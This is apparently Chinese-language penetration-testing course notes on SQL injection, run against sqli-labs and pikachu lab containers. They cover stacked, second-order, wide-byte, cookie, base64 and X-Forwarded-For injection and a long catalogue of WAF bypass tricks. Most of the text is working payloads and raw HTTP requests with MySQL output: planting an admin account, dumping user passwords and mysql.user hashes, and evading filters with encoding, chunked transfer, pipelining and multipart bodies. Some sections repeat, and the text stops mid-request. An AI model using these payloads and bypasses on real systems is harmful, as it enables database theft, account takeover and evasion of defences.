在堆叠注入页面中,程序获取 get 参数的 id ,使用 mysqli 的方式进行数据查询,
在执行语句时候使用了 mysqli_multi_query 函数处理 sql 语句,导致存在堆叠注
入。
进入 docker 容器
sudo docker exec -ti sqli /bin/bash
堆叠注入的利用
使用 id=1' and 1=2--+ id=1' and 1=1--+先确定是否存在注入。接着使用使用堆叠语
法进行检测。
-999' union select 1,2,(select group_concat(TABLE_NAME) from
information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
靶场启动 sudo docker run -dt --name sqli -p 7766:80 acgpiano/sqli-labs
在堆叠注入页面中,程序获取 get 参数的 id ,使用 mysqli 的方式进行数据查询,
在执行语句时候使用了 mysqli_multi_query 函数处理 sql 语句,导致存在堆叠注
入。
进入 docker 容器
sudo docker exec -ti sqli /bin/bash
访问这个地址
http://192.168.222.132:7766/Less-38/
堆叠注入利用
使用 id=1' and 1=2--+ id=1' and 1=1--+先确定是否存在注入。接着使用使用堆叠语
法进行检测。
-999' union select 1,2,(select group_concat(TABLE_NAME) from
information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
把库里所有的表获取出来,再获取字段
-999' union select 1,2,(select group_concat(column_name) from
information_schema.columns where TABLE_NAME='users' limit 1)--+
知道表的列的情况下使用 insert into 插入语句进行增加账号。如果是管理表 直
接添加管理员账号即可登录后台。
id=1%27;INSERT%20into%20users%20values(2
0,%27moonsec%27,%27123456%27)--+
id=-999';insert into users(id,username,password)values(1000,'moonsec','123456')--+
id=1' ;insert into users values(20,'moon',)
访问 1000 即可访问到刚刚添加的账号
二次注入攻击
二次注入漏洞是一种在 Web 应用程序中广泛存在的安全漏洞形式。相对于一次 注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞 相同的攻击威力
二次注入原理
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了
addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但
是 addslashes 有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”
并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需
要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处
理,这样就会造成 SQL 的二次注入。比如在第一次插入数据的时候,数据中带
有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形
成了二次注入.
mysql_escape_string 函数会将特殊字符进行过滤 如' 经过转义就成了\' 然后用
insert into 存入在数据库中。
在 login.php 查看源码 登录获取用 mysql_escape_string 对输入的参数进行转义
转义之后在数据库中查找指定的账号和密码 再传入到 session 里。
宽字节注入
宽字节注入,在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。
一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不
对,也可以导致 SQL 防注入绕过,达到注入的目的。如果数据库设置宽字节字
符集 gbk 会导致宽字节注入,从而逃逸 gpc
前提条件
简单理解:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字
节注入
深入讲解:要有宽字节注入漏洞,首先要满足数据库后端使用双/多字节解析 SQL
语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字
符,初步的测试结果 Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没
有这种字符(也就不存在宽字节注入)
黑盒环境下的宽字节攻击
宽字节检测较为简单 输入%df%27 检测即可或者使用配合 and 1=1 检测即可
-1%df%27%20and%201=1--+ 页面是否存在乱码
-1%df%27%20or%20sleep(10)--+ 页面是否存在延时
均可以测试存在宽字节注入
-1%df%27%20union%20select%201,version(),database()--+
http://192.168.248.128:7766/Less-32/?id=id=-1%df%27%20union%20select%201,version(),database()--+
COOKIE注入
COOKIE 注入与 GET、POST 注入区别不大,只是传递的方式不一样。GET 再
url 传递参数、POST 在 POST 正文传递参数和值,COOKIE 在 cookie 头传值。
在 burpsuite 显示 传递的方式。
<?php
echo "get ---";
echo $_GET['a'];
echo "post ---";
echo $_POST['b'];
echo "cookie ---";
echo $_COOKIE['c']
黑盒环境下的 cookie 注入攻击
cookie 功能多数用于商城购物车,或者用户登录验证,可以对这些功能模块进行 测试,抓取 cookie 包进行安全测试。 用 cookie 提交攻击输入攻击语句进行检测是否存在 SQL 注入
get 在 url 拦 即使 提交的方法是 post 只要在 url 拦上都可以传递 get post 在正文里 提交的方法必须存在 post cookie 有没有 post 都可以
两次提交不同注入语句网页返回不一样。
使用联合查询 查询敏感数据
GET /Less-20/index.php HTTP/1.1
Host: 192.168.0.101:7766
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101
Firefox/88.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.101:7766/Less-20/
Connection: close
Cookie: uname=-admin'union+select+1,2,user()-- ;
PHPSESSID=89ja0kepcq3k1hi41elmpk8eg3
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
得到当前用户。
GET /Less-20/index.php HTTP/1.1
Host: 192.168.0.145:7766
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Origin: http://192.168.0.145:7766
Connection: close
Referer: http://192.168.0.145:7766/Less-20/
Upgrade-Insecure-Requests: 1
Cookie: uname=-admin'+union+select+1,2,(select+concat(username,0x3a,password)+from+users+limit+1)%23
账号和密码 Dumb:Dumb
base64 编码注入
base64 一般用于数据编码进行传输,例如邮件,也用于图片加密存储在网页中。
数据编码的好处是,防止数据丢失,也有不少网站使用 base64 进行数据传输,
如搜索栏 或者 id 接收参数 有可能使用 base64 处理传递的参数。
在 php 中 base64_encode()函数对字符串进行 base64 编码,既然可以编码也可以进
行解码,base64_decode()这个函数对 base64 进行解码。
编码解码流程
1 ->base64 编码->MQ==->base64 解密->1
base64 编码注入,可以绕过 gpc 注入拦截,因为编码过后的字符串不存在特殊字
符。编码过后的字符串,在程序中重新被解码,再拼接成 SQL 攻击语句,再执
行,从而形式 SQL
在代码中分析 base64 注入
从存在漏洞的代码中,首先判断是否有 POST 的 submit 参数过来如果有
使用$_COOKIE['uname']获取 cookis 传过来的账号,再拼接到 SQL 带入查询
这段代码的意思$cookee = base64_decode($cookee); 将$cookee 传过来的参数进
行解码,所以$cookee 传递过来的数据必须先进行编码,否则解码不了会导致出
错
黑盒环境下对 base64 编码进行注入
首先观察网站是否存在 base64 编码的数据,例如传递的 id 的值,搜索模块。
如果存在类似==等,可以用 base64 解码进行测试。
admin'and 1=1-- 编码 YWRtaW4nYW5kIDE9MS0tIA==
admin'and 1=2-- 编码 YWRtaW4nYW5kIDE9Mi0tIA==
本次测试的页面是 cookie 所以需要 cookie 提交 而且有括号需要闭合
用 burpsuite 抓包后修改 cookie 参数提交
第一次提交页面返回存在 admin 第二次提交没有 admin 两个页面返回的结果不
相同所以存在 SQL 注入。
本代码存在 mysqli_error 函数所以可以里利用报错注入再进一步获取敏感信息。
admin')and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- 进行 base64 编码
是
YWRtaW4nKWFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjd
CB1c2VyKCkpLDB4N2UpLDEpKS0tICA=
提交获取敏感信息
xff 注入攻击
在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9' ,用户在注
册的时候,如果存在安全隐患 会出现错误页面或者报错。从而导致注册或者登
录用户失败。
burpsuite 抓包 提交 输入检测语句
X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2#
两次提交返回不一样 存在 SQL 注入漏洞
获取敏感信息
X-Forwarded-for: 127.0.0.11'union select 1,2,3,user()#
输入提交包 后看到页面返回 root@loclhost
SQL 注入绕过技术
SQL 注入绕过技术 已经是一个老生常谈的内容了,防注入可以使用某些云 waf
加速乐等安全产品,这些产品会自带 waf 属性拦截和抵御 SQL 注入,也有一些
产品会在服务器里安装软件,例如 iis 安全狗、d 盾、还有就是在程序里对输入
参数进行过滤和拦截 例如 360webscan 脚本等只要参数传入的时候就会进行检
测,检测到有危害语句就会拦截。SQL 注入绕过的技术也有许多。但是在日渐
成熟的 waf 产品面前,因为 waf 产品的规则越来越完善,所以防御就会越来越高,
安全系统也跟着提高,对渗透测试而言,测试的难度就越来越高了。接下来将会
详细介绍针对 waf 的拦截注入的绕过方法
空格字符绕过
两个空格代替一个空格,用 Tab 代替空格,%a0=空格
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
select * from users where id=1 /*!union*//*!select*/1,2,3,4;
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
可以将空格字符替换成注释 /**/ 还可以使用 /*!这里的根据 mysql 版本的内容
不注释*/
大小写绕过
将字符串设置为大小写,例如 and 1=1 转成 AND 1=1 AnD 1=1
select * from users where id=1 UNION SELECT 1,2,3,4;
select * from users where id=1 UniON SelECT 1,2,3,4
浮点数绕过注入
select * from users where id=8E0union select 1,2,3,4;
select * from users where id=8.0union select 1,2,3,4;
NULL 值绕过
select \N; 代表 null
mysql> select * from users where id=\Nunion select 1,2,3,\N;
+----+----------+----------+-------+
| id | username | password | level |
+----+----------+----------+-------+
| 1 | 2 | 3 | NULL |
+----+----------+----------+-------+
1 row in set, 2 warnings (0.00 sec)
select * from users where id=\Nunion select 1,2,3,\N;
select * from users where id=\Nunion select 1,2,3,\Nfrom users;
+----+----------+----------+-------+
| id | username | password | level |
+----+----------+----------+-------+
| 1 | 2 | 3 | NULL |
+----+----------+----------+-------+
1 row in set, 2 warnings (0.00 sec)
引号绕过
select * from users where id='1';
select * from users where id="1";
mysql> select * from users where id="1";
+----+----------+----------------------------------+-------+
| id | username | password | level |
+----+----------+----------------------------------+-------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)
也可以将字符串转换成 16 进制 再进行查询。
+--------------+
| hex("admin") |
+--------------+
| 61646D696E |
+--------------+
1 row in set (0.00 sec)
mysql> select * from users where username="admin";
+----+----------+----------------------------------+-------+
| id | username | password | level |
+----+----------+----------------------------------+-------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)
mysql> select * from users where username=0x61646D696E;
+----+----------+----------------------------------+-------+
| id | username | password | level |
+----+----------+----------------------------------+-------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)
如果 gpc 开启了,但是注入点是整形 也可以用 hex 十六进制进行绕过
select * from users where id=-1 union select 1,2,(select group_concat(column_name)
from information_schema.columns where TABLE_NAME='users' limit 1),4;
select * from users where id=-1 union select 1,2,(select group_concat(column_name)
from information_schema.columns where TABLE_NAME=0x7573657273 limit 1),4;
mysql> select * from users where id=-1 union select 1,2,(select group_concat(column_name)
-> from information_schema.columns where TABLE_NAME='users' limit 1),4;
+----+----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------+
| id | username | password | level |
+----+----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------+
| 1 | 2 | id,login,password,email,secret,activation_code,activated,reset_code,admin,user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,email,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level | 4 |
+----+----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------+
1 row in set (0.02 sec)
添加库名绕过
以下两条查询语句,执行的结果是一致的,但是有些 waf 的拦截规则 并不会拦
截[库名].[表名]这种模式
select * from users where id=-1 union select 1,2,3,4 from users;
select * from users where id=-1 union select 1,2,3,4 from moonsec.users;
mysql 中也可以添加库名查询表。例如跨库查询 mysql 库里的 usrs 表的内容。
select * from users where id=-1 union select 1,2,3,concat(user,authentication_string)
from mysql.user;
+----+----------+----------+-----------------------------------------------------------+
| id | username | password | level |
+----+----------+----------+-----------------------------------------------------------+
| 1 | 2 | 3 | root*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 |
| 1 | 2 | 3 | mysql.session*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| 1 | 2 | 3 | mysql.sys*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| 1 | 2 | 3 | debian-sys-maint*C032CD8255B8ADF7AF529689127ED91A690EF518 |
+----+----------+----------+-----------------------------------------------------------+
去重复绕过
在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截
select * from users where id=-1 union distinct select 1,2,3,4 from users;
select * from users where id=-1 union distinct select 1,2,3,version() from users;
---+----------+----------+-------+
| id | username | password | level |
+----+----------+----------+-------+
| 1 | 2 | 3 | 4 |
+----+----------+----------+-------+
1 row in set (0.00 sec)
反引号绕过
在 mysql 可以使用 这里是反引号
绕过一些 waf 拦截。字段可以加反引号或者
不加,意义相同。
insert into users(username,password,email)values('moonsec','123456','admin@moonsec.com');
insert into users(`username`,`password`,`email`)values('moonsec','123456','admin@moonsec.com');
脚本语言特性绕过
在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的
特性。可以利用这点绕过一些 waf 的拦截。
id=1%00&id=2 union select 1,2,3
有些 waf 回去匹配第一个 id 参数 1%00 %00 是截断字符,waf 会自动截断 从而
不会检测后面的内容。到了程序中 id 就是等于 id=2 union select 1,2,3 从绕过注
入拦截。
其他语言特性
逗号绕过
目前有些防注入脚本都会逗号进行拦截,例如常规注入中必须包含逗号
select * from users where id=1 union select 1,2,3,4;
一般会对逗号过滤成空 select * from users where id=1 union select 1 2 3 4;这样
SQL 语句就会出错。所以 可以不使用逗号进行 SQL 注入。
绕过方法如下
substr 截取字符串
select(substr(database() from 1 for 1)); 查询当前库第一个字符
查询 m 等于 select(substr(database() from 1 for 1))页面返回正常
select * from users where id=1 and 'm'=(select(substr(database() from 1 for 1)));
可以进一步优化 m 换成 hex 0x6D 这样就避免了单引号
select * from users where id=1 and 0x6D=(select(substr(database() from 1 for 1)));
mysql> select(substr(database() from 1 for 10));
+------------------------------------+
| (substr(database() from 1 for 10)) |
+------------------------------------+
| pikachu |
+------------------------------------+
1 row in set (0.00 sec)
min 截取字符串
select mid(database() from 1 for 1); 这个方法如上。
select * from users where id=1 and 'm'=(select(mid(database() from 1 for 1)));
select * from users where id=1 and 0x6D=(select(mid(database() from 1 for 1)));
+------------------------------+
| mid(database() from 1 for 1) |
+------------------------------+
| p |
+------------------------------+
使用 join 绕过
使用 join 自连接两个表
union select 1,2 #等价于 union select * from (select 1)a join (select 2)b
a 和 b 分别是表的别名
select * from users where id=-1 union select 1,2,3,4;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select 3)c join(select 4)d;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select user())c join(select 4)d;
+----+----------+----------------+-------+
| id | username | password | level |
+----+----------+----------------+-------+
| 1 | 2 | root@localhost | 4 |
+----+----------+----------------+-------+
1 row in set (0.00 sec)
like 绕过
使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1 否则返回 0
找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串 最后就是
要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截
mysql> select * from users where id=1 and (select user() like 'r%');
+----+----------+----------------------------------+-------+
| id | username | password | level |
+----+----------+----------------------------------+-------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 |
+----+----------+----------------------------------+-------+
limit offset 绕过
SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目 limit 0,1
返回条一条记录 如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数
据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截
了。
mysql> select * from users limit 1 offset 1;
+----+----------+----------------------------------+-------+
| id | username | password | level |
+----+----------+----------------------------------+-------+
| 2 | pikachu | 670b14728ad9902aecba32e22fa4f6bd | 2 |
+----+----------+----------------------------------+-------+
1 row in set (0.01 sec)
or and xor not 绕过
目前主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2
id=0 xor 1=1 limit 1 、id=1 xor 1=2
对这些常见的 SQL 注入检测语句进行拦截。像 and 这些还有字符代替
字符如下
and 等于&&
or 等于 ||
not 等于 !
xor 等于|
所以可以转换成这样
id=1 and 1=1 等于 id=1 && 1=1
id=1 and 1=2 等于 id=1 && 1=2
id=1 or 1=1 等于 id=1 || 1=1
id=0 or 1=0 等于 id=0 || 1=0
mysql> select * from users where id =1 && 1!=2;
+----+----------+----------------------------------+-------+
| id | username | password | level |
+----+----------+----------------------------------+-------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)
mysql> select * from users where id =1 || 1=1;
+----+----------+----------------------------------+-------+
| id | username | password | level |
+----+----------+----------------------------------+-------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 |
| 2 | pikachu | 670b14728ad9902aecba32e22fa4f6bd | 2 |
| 3 | test | e99a18c428cb38d5f260853678922e03 | 3 |
+----+----------+----------------------------------+-------+
3 rows in set (0.00 sec)
可以绕过一些 waf 拦截继续对注入点进行安全检测
也可以使用运算符号
id=1 && 2=1+1
id=1 && 2=1-1
mysql> select * from users where id=1 && 2=1+1;
+----+----------+----------------------------------+-------+
| id | username | password | level |
+----+----------+----------------------------------+-------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)
ascii 字符对比绕过
许多 waf 会对 union select 进行拦截 而且通常比较变态,那么可以不使用联合查
询注入,可以使用字符截取对比法,进行突破。
select substring(user(),1,1);
select * from users where id=1 and substring(user(),1,1)='r';
select * from users where id=1 and ascii(substring(user(),1,1))=114;
mysql> select * from users where id=1 and substring(user(),1,1)='r';
+----+----------+----------------------------------+-------+
| id | username | password | level |
+----+----------+----------------------------------+-------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)
如果程序会对=进行拦截 可以使用 like rlike regexp 或者使用<或者>
select * from users where id=1 and ascii(substring(user(),1,1))<115;
select * from users where id=1 and ascii(substring(user(),1,1))>115;
+----+----------+----------------------------------+-------+
| id | username | password | level |
+----+----------+----------------------------------+-------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)
select * from users where id=1 and (select substring(user(),1,1)like 'r%');
select * from users where id=1 and (select substring(user(),1,1)rlike 'r');
select * from users where id=1 and 1=(select user() regexp '^r');
select * from users where id=1 and 1=(select user() regexp '^a');
双关键词绕过
有些程序会对单词 union、 select 进行转空 但是只会转一次这样会留下安全隐
患。
双关键字绕过(若删除掉第一个匹配的 union 就能绕过)
id=-1'UNIunionONSeLselectECT1,2,3--+
到数据库里执行会变成 id=-1'UNION SeLECT1,2,3--+ 从而绕过注入拦截。
二次编码绕过
有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码过后,waf 是不会
拦截的。
-1 union select 1,2,3,4#
第一次转码
%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32
%2c%33%2c%34%23
第二次转码
%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%2
5%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%
36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33
%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33
代码里有 urldecode 这个函数是对字符 url 解码,因为两次编码 GPC 是不会过滤
的,所以可以绕过 gpc 字符转义,这样也就绕过了 waf 的拦截。
多参数拆分绕过
多余多个参数拼接到同一条 SQL 语句中,可以将注入语句分割插入。
例如请求 get 参数
a=[input1]&b=[input2] 可以将参数 a 和 b 拼接在 SQL 语句中。
在程序代码中看到两个可控的参数,但是使用 union select 会被 waf 拦截
多参数拆分绕过
多余多个参数拼接到同一条 SQL 语句中,可以将注入语句分割插入。
例如请求 get 参数
a=[input1]&b=[input2] 可以将参数 a 和 b 拼接在 SQL 语句中。
在程序代码中看到两个可控的参数,但是使用 union select 会被 waf 拦截
那么可以使用参数拆份请求绕过 waf 拦截
两个参数的值可以控,分解 SQL 注入关键字 可以组合一些 SQL 注入语句突破
waf 拦截。
使用生僻函数绕过
使用生僻函数替代常见的函数,例如在报错注入中使用 polygon()函数替换常用
的 updatexml()函数
select polygon((select * from (select * from (select @@version) f) x));
分块传输绕过
一、什么是 chunked 编码?
分块传输编码(Chunked transfer encoding)是只在 HTTP 协议 1.1 版本(HTTP/1.1)
中提供的一种数据传送机制。以往 HTTP 的应答中数据是整个一起发送的,并在
应答头里 Content-Length 字段标识了数据的长度,以便客户端知道应答消息的结
束。
传统的 Content-length 解决方案:计算实体长度,并通过头部告诉对方。浏览器
可以通过 Content-Length 的长度信息,判断出响应实体已结束
Content-length 面临的问题:由于 Content-Length 字段必须真实反映实体长度,
但是对于动态生成的内容来说,在内容创建完之前,长度是不可知的。
这时候要想准确获取长度,只能开一个足够大的 buffer,等内容全部生成好再计
算。这样做一方面需要更大的内存开销,另一方面也会让客户端等更久。
我们需要一个新的机制:不依赖头部的长度信息,也能知道实体的边界——分块
编码(Transfer-Encoding: chunked)。
对于动态生成的应答内容来说,内容在未生成完成前总长度是不可知的。因此需
要先缓存生成的内容,再计算总长度填充到 Content-Length,再发送整个数据内
容。这样显得不太灵活,而使用分块编码则能得到改观。
分块传输编码允许服务器在最后发送消息头字段。例如在头中添加散列签名。对
于压缩传输传输而言,可以一边压缩一边传输。
二、如何使用 chunked 编码
如果在 http 的消息头里 Transfer-Encoding 为 chunked,那么就是使用此种编码方
式。
接下来会发送数量未知的块,每一个块的开头都有一个十六进制的数,表明这个
块的大小,然后接 CRLF("\r\n")。然后是数据本身,数据结束后,还会有
CRLF("\r\n")两个字符。有一些实现中,块大小的十六进制数和 CRLF 之间可以
有空格。最后一块的块大小为 0,表明数据发送结束。最后一块不再包含任何数据,但是
可以发送可选的尾部,包括消息头字段。
消息最后以 CRLF 结尾。
在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。
这时,报文中的实体需要改为用一系列分块来传输。
分块传输 使用
每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的
CRLF(\r\n),也不包括分块数据结尾的 CRLF(\r\n)。
最后一个分块长度值必须为 0,对应的分块数据没有内容,表示实体结束。
例:
HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked
23\r\n
This is the data in the first chunk\r\n
1A\r\n
and this is the second one\r\n
3\r\n
con\r\n
8\r\n
sequence\r\n
0\r\n
\r\n
用 burpsuite 抓包提交分析 首先原生包 id=1&submit=1 查询到用户 id 为 1 的值
使用分块传输 首先在 http 头加上 Transfer-Encoding: chunked 表示分块传输传
送
第一行是长度 第二行是字符串 0 表示传输结束 后面跟上两个空格
信任白名单绕过
有些 WAF 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,所以可
以利用这个特点,可以试试白名单绕过。
白名单通常有目录
/admin
/phpmyadmin
/admin.php
http://192.168.0.115/06/vul/sqli/sqli_str.php?a=/admin.php&name=vince+&submit=1
http://192.168.0.165/06/vul/sqli/sqli_str.php/phpmyadmin?name=%27%20union%20s
静态文件绕过
除了白名单信任文件和目录外,还有一部分 waf 并不会对静态文件进行拦截。
例如 图片文件 jpg 、png 、gif 或者 css 、js 会对这些静态文件的操作不会
进行检测从而绕过 waf 拦截。
/1.jpg&name=vince+&submit=1
/1.jpg=/1.jpg&name=vince+&submit=1
/1.css=/1.css&name=vince+&submit=1
pipline 绕过注入
http 协议是由 tcp 协议封装而来,当浏览器发起一个 http 请求时,浏览器先和服
务器建立起连接 tcp 连接,然后发送 http 数据包(即我们用 burpsuite 截获的数据),
其中包含了一个 Connection 字段,一般值为 close,apache 等容器根据这个字段
决定是保持该 tcp 连接或是断开。当发送的内容太大,超过一个 http 包容量,需
要分多次发送时,值会变成 keep-alive,即本次发起的 http 请求所建立的 tcp 连
接不断开,直到所发送内容结束 Connection 为 close 为止
用 burpsuite 抓包提交 复制整个包信息放在第一个包最后,把第一个包 close 改
成 keep-alive 把 brupsuite 自动更新 Content-Length 勾去掉。
第一个包参数的字符要加上长度接着提交即可。有些 waf 会匹配第二个包的正属
于正常参数,不会对第一个包的参数进行检测,这样就可以绕过一些 waf 拦截。
POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.248.130
Content-Length: 39 # 改这个长度,绕过waf
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.248.130
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.248.130/06/vul/sqli/sqli_id.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=90hflaso5rehb0j4n7b5cc8ob4
Connection: keep-alive
id=-1+union+select+1,user()++&submit=1
利用 multipart/form-data 绕过
在 http 头里的 Content-Type 提交表单支持三种协议
application/x-www-form-urlencoded 编码模式 post 提交
multipart/form-data 文件上传模式
text/plain 文本模式
文件头的属性 是传输前对提交的数据进行编码发送到服务器。
其中 multipart/form-data 表示该数据被编码为一条消息,页上的每个控件对应消
息中的一个部分。所以,当 waf 没有规则匹配该协议传输的数据时可被绕过。
Content-Type: multipart/form-data;
boundary=---------------------------28566904301101419271642457175
boundary 这是用来匹配的值
Content-Disposition: form-data; name="id" 这也能作为 post 提交
所以程序会接收到构造的 SQL 注入语句-1 union select 1,user()
POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.126.129
Content-Length: 307
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.126.129
Content-Type: multipart/form-data;boundary=---------------------------38566904301101419271642457175
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.126.129/06
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=tu13d1m9fmlp8ko5btcmddp464
Connection: close
---------------------------38566904301101419271642457175
Content-Disposition: form-data; name="id"
-1 union select 1,user()--+
---------------------------38566904301101419271642457175
Content-Disposition: form-data; name="submit"
submit
---------------------------38566904301101419271642457175--
order by 绕过
当 order by 被过滤时,无法猜解字段数,此时可以使用 into 变量名进行代替。
select * from users where id=1 into @a,@b,@c,@d;
http 相同参数请求绕过
waf 在对危险字符进行检测的时候,分别为 post 请求和 get 请求设定了不同的匹
配规则,请求被拦截,变换请求方式有几率能绕过检测。如果程序中能同时接收
get、post 如果 waf 只对 get 进行匹配拦截,没有对 post 进行拦截。
<?php
echo $_REQUEST['id'];
?>
application/json 或者 text/xml 绕过
有些程序是 json 提交参数,程序也是 json 接收再拼接到 SQL 执行 json 格式通
常不会被拦截。所以可以绕过 waf
POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.0.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type:application/json
Content-Length: 38
Origin: http://192.168.0.115
Connection: close
Referer: http://192.168.0.115/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=e6sa76lft65q3fd25bilbc49v3; security_level=0
Upgrade-Insecure-Requests: 1
{'id':1 union select 1,2,3,'submit':1}
运行大量字符绕过
可以使用 select 0xA 运行一些字符从绕突破一些 waf 拦截
id=1 and (select 1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)/*!unio
n*//*!select*/1,user()
post 编码
1+and+(select+1)%3d(select+0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAA)/*!union*//*!select*/1,user()&submit=1
POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.0.165
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
Origin: http://192.168.0.165
